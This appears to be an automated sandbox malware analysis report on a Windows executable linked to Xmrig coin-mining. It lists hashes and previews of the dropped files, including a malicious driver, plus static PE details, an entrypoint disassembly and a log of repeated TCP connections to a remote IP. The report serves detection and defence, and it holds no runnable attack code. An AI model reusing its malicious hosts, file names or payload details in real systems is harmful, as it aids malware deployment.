                                  http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8XGet hashmaliciousUnknownBrowse
                                  • 217.182.178.234
                                  https://t.co/YjyGioQuKTGet hashmaliciousUnknownBrowse
                                  • 54.38.113.7
                                  http://tracking.b2bmktvault.com/tracking/click?d=qPk_c18mu4tAnpVkjkvM74XnWEgCEJFMr0kmnRaZVETZIbfUm-V7axMnjqAoCLnqzaVyNRK36FUkPva8vnzGVvH9cqu1JpLb-vxN3FkjjYhK51_3JrkS14Hcuqb1FOJE1bnSPADYUAMl8knPwYz7btXcOUX9DY4_AjytTbLRGEQ0R8vUhh6vaa-KBtd0YdWGVJFQli_mKczqrYpzYk33dCMwBXQR8R8u2JajJsC51OFcIlRSs_l3i1d9MQf5ZYWuxV_Ytx1pTi2iUY6P97JH0U81Get hashmaliciousUnknownBrowse
                                  • 188.165.1.80
                                  http://tracking.b2bmktvault.com/tracking/click?d=qPk_c18mu4tAnpVkjkvM74XnWEgCEJFMr0kmnRaZVETZIbfUm-V7axMnjqAoCLnqzaVyNRK36FUkPva8vnzGVvH9cqu1JpLb-vxN3FkjjYhK51_3JrkS14Hcuqb1FOJE1bnSPADYUAMl8knPwYz7btXcOUX9DY4_AjytTbLRGEQ0R8vUhh6vaa-KBtd0YdWGu732v1MZ_EelGtWldAkkdtYGfnD-GIQEN8fgQfvllyKpzr3-J0fwpuBZsUPy3J_TvPM8sfKRevcMTcDv6eAynng1Get hashmaliciousUnknownBrowse
                                  • 46.105.88.234
                                  NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousXmrigBrowse
                                  • 51.222.106.253
                                  setup.exeGet hashmaliciousUnknownBrowse
                                  • 51.77.211.179
                                  hoEtvOOrYH.exeGet hashmaliciousSmokeLoaderBrowse
                                  • 51.79.230.147
                                  db0fa4b8db0333367e9bda3ab68b8042.i686.elfGet hashmaliciousMirai, GafgytBrowse
                                  • 51.71.23.38

                                  JA3 Fingerprints

                                  ⊘No context

                                  Dropped Files

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  C:\Windows\Temp\usseuptqmhvx.sysSharcHack.exeGet hashmaliciousAdes Stealer, BlackGuard, NitroStealer, VEGA Stealer, XmrigBrowse
                                    0Ty.png.exeGet hashmaliciousXmrigBrowse
                                      Qhx6a6VLAH.exeGet hashmaliciousXmrigBrowse
                                        88aext0k.exeGet hashmaliciousXmrigBrowse
                                          gaozw40v.exeGet hashmaliciousXmrigBrowse
                                            c2.exeGet hashmaliciousXmrigBrowse
                                              ldr.ps1Get hashmaliciousGO Miner, XmrigBrowse
                                                ZppxPm0ASs.exeGet hashmaliciousXmrigBrowse
                                                  file.exeGet hashmaliciousAmadey, LummaC Stealer, Vidar, XmrigBrowse
                                                    feZvV3DCj8.exeGet hashmaliciousXmrigBrowse

                                                      Created / dropped Files

                                                      C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe

                                                      Download File
                                                      Process:C:\Users\user\Desktop\aAcx14Rjtw.exe
                                                      File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                      Category:dropped
                                                      Size (bytes):2629120
                                                      Entropy (8bit):6.540259554234091
                                                      Encrypted:false
                                                      SSDEEP:49152:yIngoI1u231p6B/wKVHHpwFSOS2PWcOAB4f4OTgCuODRSORGZ:Tngoyu2Fa/TBJESOS2nB4f4hlOg
                                                      MD5:A0A383F28ED48A0CE7C62E599E934455
                                                      SHA1:7F16A88B3CB068D040120C811EA30908D7B2EFE0
                                                      SHA-256:743CBD1FC2BA7BAB57EAFEADDE68AFEE380AA68108E74DD88AEEC31FC793E50E
                                                      SHA-512:C61467DD1ABD031C0055853F5B84797D15BFCB0DE87D120426FC207D59CCED8BFA54654BAE694C94B1097764D5102377DF775E899D01246E0109EDF5B8A4F3EB
                                                      Malicious:true
                                                      Antivirus:
                                                      • Antivirus: ReversingLabs, Detection: 63%
                                                      Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....ug.........."......z....'.....@..........@..............................(...........`.................................................X...<............@(..............p(.x...............................(.......8..............X............................text...fy.......z.................. ..`.rdata...............~..............@..@.data.....'......z'.................@....pdata.......@(.......(.............@..@.00cfg.......P(.......(.............@..@.tls.........`(.......(.............@....reloc..x....p(.......(.............@..B................................................................................................................................................................................................................................................................................................................................................

                                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):64
                                                      Entropy (8bit):1.1940658735648508
                                                      Encrypted:false
                                                      SSDEEP:3:Nlllul3nqth:NllUa
                                                      MD5:851531B4FD612B0BC7891B3F401A478F
                                                      SHA1:483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
                                                      SHA-256:383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
                                                      SHA-512:A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
                                                      Malicious:false
                                                      Preview:@...e.................................&..............@..........

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ha5f1xz.q2c.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2i3ktqvg.tk1.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g1obbcgk.eg0.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zxfwrikw.tb1.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):64
                                                      Entropy (8bit):1.1510207563435464
                                                      Encrypted:false
                                                      SSDEEP:3:Nlllul5:NllU
                                                      MD5:01CA458C9AEC24C26DF28176496D33B9
                                                      SHA1:E41CCB28F9F732BB67B40ECC67E2050C4D3D59B7
                                                      SHA-256:A8535BB2871004BE1159B84779D898BF3FC765C30E96C2669E81315B71FD0CEA
                                                      SHA-512:A7E16B0CB841A79D6F4E851273D58B7AA16B0FAF63E55C0CE4FE29620CA479F5DA75A75B6FD5DCDF824A99CA3792122ED34AB7AFEEC74D3796AC3940A48C8484
                                                      Malicious:false
                                                      Preview:@...e.................................l..............@..........

                                                      C:\Windows\Temp\__PSScriptPolicyTest_alxps0rh.s0b.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Windows\Temp\__PSScriptPolicyTest_bqhtc3bw.xjy.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Windows\Temp\__PSScriptPolicyTest_k4fmzyin.h2e.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Windows\Temp\__PSScriptPolicyTest_qh1txkj2.nzs.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Windows\Temp\usseuptqmhvx.sys

                                                      Download File
                                                      Process:C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe
                                                      File Type:PE32+ executable (native) x86-64, for MS Windows
                                                      Category:dropped
                                                      Size (bytes):14544
                                                      Entropy (8bit):6.2660301556221185
                                                      Encrypted:false
                                                      SSDEEP:192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
                                                      MD5:0C0195C48B6B8582FA6F6373032118DA
                                                      SHA1:D25340AE8E92A6D29F599FEF426A2BC1B5217299
                                                      SHA-256:11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
                                                      SHA-512:AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
                                                      Malicious:true
                                                      Antivirus:
                                                      • Antivirus: ReversingLabs, Detection: 5%
                                                      Joe Sandbox View:
                                                      • Filename: SharcHack.exe, Detection: malicious, Browse
                                                      • Filename: 0Ty.png.exe, Detection: malicious, Browse
                                                      • Filename: Qhx6a6VLAH.exe, Detection: malicious, Browse
                                                      • Filename: 88aext0k.exe, Detection: malicious, Browse
                                                      • Filename: gaozw40v.exe, Detection: malicious, Browse
                                                      • Filename: c2.exe, Detection: malicious, Browse
                                                      • Filename: ldr.ps1, Detection: malicious, Browse
                                                      • Filename: ZppxPm0ASs.exe, Detection: malicious, Browse
                                                      • Filename: file.exe, Detection: malicious, Browse
                                                      • Filename: feZvV3DCj8.exe, Detection: malicious, Browse
                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

                                                      Static File Info

                                                      General

                                                      File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                      Entropy (8bit):6.540259554234091
                                                      TrID:
                                                      • Win64 Executable GUI (202006/5) 92.65%
                                                      • Win64 Executable (generic) (12005/4) 5.51%
                                                      • Generic Win/DOS Executable (2004/3) 0.92%
                                                      • DOS Executable Generic (2002/1) 0.92%
                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                      File name:aAcx14Rjtw.exe
                                                      File size:2'629'120 bytes
                                                      MD5:a0a383f28ed48a0ce7c62e599e934455
                                                      SHA1:7f16a88b3cb068d040120c811ea30908d7b2efe0
                                                      SHA256:743cbd1fc2ba7bab57eafeadde68afee380aa68108e74dd88aeec31fc793e50e
                                                      SHA512:c61467dd1abd031c0055853f5b84797d15bfcb0de87d120426fc207d59cced8bfa54654bae694c94b1097764d5102377df775e899d01246e0109edf5b8a4f3eb
                                                      SSDEEP:49152:yIngoI1u231p6B/wKVHHpwFSOS2PWcOAB4f4OTgCuODRSORGZ:Tngoyu2Fa/TBJESOS2nB4f4hlOg
                                                      TLSH:15C533E4148952F8EB8DC0B860109BB276AE7FFA5F30188BF8E1552F35552F27636847
                                                      File Content Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....ug.........."......z....'.....@..........@..............................(...........`........................................

                                                      File Icon

                                                      Icon Hash:90cececece8e8eb0

                                                      Static PE Info

                                                      General

                                                      Entrypoint:0x140001140
                                                      Entrypoint Section:.text
                                                      Digitally signed:false
                                                      Imagebase:0x140000000
                                                      Subsystem:windows gui
                                                      Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                      DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                      Time Stamp:0x6775A9A1 [Wed Jan 1 20:46:25 2025 UTC]
                                                      TLS Callbacks:0x40001760, 0x1, 0x400017e0, 0x1
                                                      CLR (.Net) Version:
                                                      OS Version Major:6
                                                      OS Version Minor:0
                                                      File Version Major:6
                                                      File Version Minor:0
                                                      Subsystem Version Major:6
                                                      Subsystem Version Minor:0
                                                      Import Hash:de41d4e0545d977de6ca665131bb479a

                                                      Entrypoint Preview

                                                      Instruction
                                                      dec eax
                                                      sub esp, 28h
                                                      dec eax
                                                      mov eax, dword ptr [00007ED5h]
                                                      mov dword ptr [eax], 00000001h
                                                      call 00007F9484DB373Fh
                                                      nop
                                                      nop
                                                      nop
                                                      dec eax
                                                      add esp, 28h
                                                      ret
                                                      nop
                                                      inc ecx
                                                      push edi
                                                      inc ecx
                                                      push esi
                                                      push esi
                                                      push edi
                                                      push ebx
                                                      dec eax
                                                      sub esp, 20h
                                                      dec eax
                                                      mov eax, dword ptr [00000030h]
                                                      dec eax
                                                      mov edi, dword ptr [eax+08h]
                                                      dec eax
                                                      mov esi, dword ptr [00007EC9h]
                                                      xor eax, eax
                                                      dec eax
                                                      cmpxchg dword ptr [esi], edi
                                                      sete bl
                                                      je 00007F9484DB3760h
                                                      dec eax
                                                      cmp edi, eax
                                                      je 00007F9484DB375Bh
                                                      dec esp
                                                      mov esi, dword ptr [00009689h]
                                                      nop word ptr [eax+eax+00000000h]
                                                      mov ecx, 000003E8h
                                                      inc ecx
                                                      call esi
                                                      xor eax, eax
                                                      dec eax
                                                      cmpxchg dword ptr [esi], edi
                                                      sete bl
                                                      je 00007F9484DB3737h
                                                      dec eax
                                                      cmp edi, eax
                                                      jne 00007F9484DB3719h
                                                      dec eax
                                                      mov edi, dword ptr [00007E90h]
                                                      mov eax, dword ptr [edi]
                                                      cmp eax, 01h
                                                      jne 00007F9484DB373Eh
                                                      mov ecx, 0000001Fh
                                                      call 00007F9484DBAD44h
                                                      jmp 00007F9484DB3759h
                                                      cmp dword ptr [edi], 00000000h
                                                      je 00007F9484DB373Bh
                                                      mov byte ptr [002817C9h], 00000001h
                                                      jmp 00007F9484DB374Bh
                                                      mov dword ptr [edi], 00000001h
                                                      dec eax
                                                      mov ecx, dword ptr [00007E7Ah]
                                                      dec eax
                                                      mov edx, dword ptr [00007E7Bh]
                                                      call 00007F9484DBAD3Bh
                                                      mov eax, dword ptr [edi]
                                                      cmp eax, 01h
                                                      jne 00007F9484DB374Bh
                                                      dec eax
                                                      mov ecx, dword ptr [00007E50h]

                                                      Data Directories

                                                      NameVirtual AddressVirtual Size Is in Section
                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0xa5580x3c.rdata
                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x2840000x180.pdata
                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x2870000x78.reloc
                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_TLS0x90a00x28.rdata
                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x94100x138.rdata
                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_IAT0xa6f00x158.rdata
                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                      Sections

                                                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                      .text0x10000x79660x7a00a27769e841ed67f6eaf03f25d271ff81False0.5105340676229508data6.199657874508051IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                      .rdata0x90000x1ca00x1e009fa497e487a4ffddf306e8862509cfbcFalse0.44453125zlib compressed data4.608409184529527IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                      .data0xb0000x2788800x277a0022189ad0ae6e574821286725f00023dbunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                      .pdata0x2840000x1800x2007f6910f0c5fdc28b31d1be56afea4072False0.50390625data3.12518400683225IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                      .00cfg0x2850000x100x200b18c7380298e104adf73576fa46bccc1False0.04296875data0.15127132530476972IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                      .tls0x2860000x100x200bf619eac0cdf3f68d496ea9344137e8bFalse0.02734375data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                      .reloc0x2870000x780x200c8f8266b3742dc1f0181a9ff848c32d2False0.232421875data1.429346845329436IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                      Imports

                                                      DLLImport
                                                      msvcrt.dll__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp
                                                      KERNEL32.dllDeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

                                                      Network Behavior

                                                      Network Port Distribution

                                                      TCP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Jan 1, 2025 22:01:03.054167032 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:01:03.059042931 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:01:03.059148073 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:01:03.059420109 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:01:03.064196110 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:01:03.662503004 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:01:03.662529945 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:01:03.662659883 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:01:03.668750048 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:01:03.673506021 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:01:03.840648890 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:01:03.967499971 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:01:03.971973896 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:01:04.104677916 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:01:36.181067944 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:01:36.233221054 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:01:46.199990034 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:01:46.373930931 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:01:56.202773094 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:01:56.373903990 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:02:06.202627897 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:02:06.373931885 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:02:16.215250969 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:02:16.373974085 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:02:26.230267048 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:02:26.304537058 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:02:36.227014065 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:02:36.374063969 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:02:46.258644104 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:02:46.374082088 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:02:48.227112055 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:02:48.374102116 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:02:58.175470114 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:02:58.287708044 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:03:08.173378944 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:03:08.374155045 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:03:18.204766989 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:03:18.264797926 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:03:28.191741943 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:03:28.264832020 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:03:38.202032089 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:03:38.374264002 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:03:48.197928905 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:03:48.374299049 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:03:53.193104982 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:03:53.264918089 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:04:03.179218054 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:04:03.265120983 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:04:13.199060917 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:04:13.265034914 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:04:23.195219994 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:04:23.374438047 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:04:36.215519905 CET1034349730146.59.154.106192.168.2.4
                                                      Jan 1, 2025 22:04:36.265497923 CET4973010343192.168.2.4146.59.154.106
                                                      Jan 1, 2025 22:04:46.200894117 CET1034349730146.59.154.106192.168.2.4
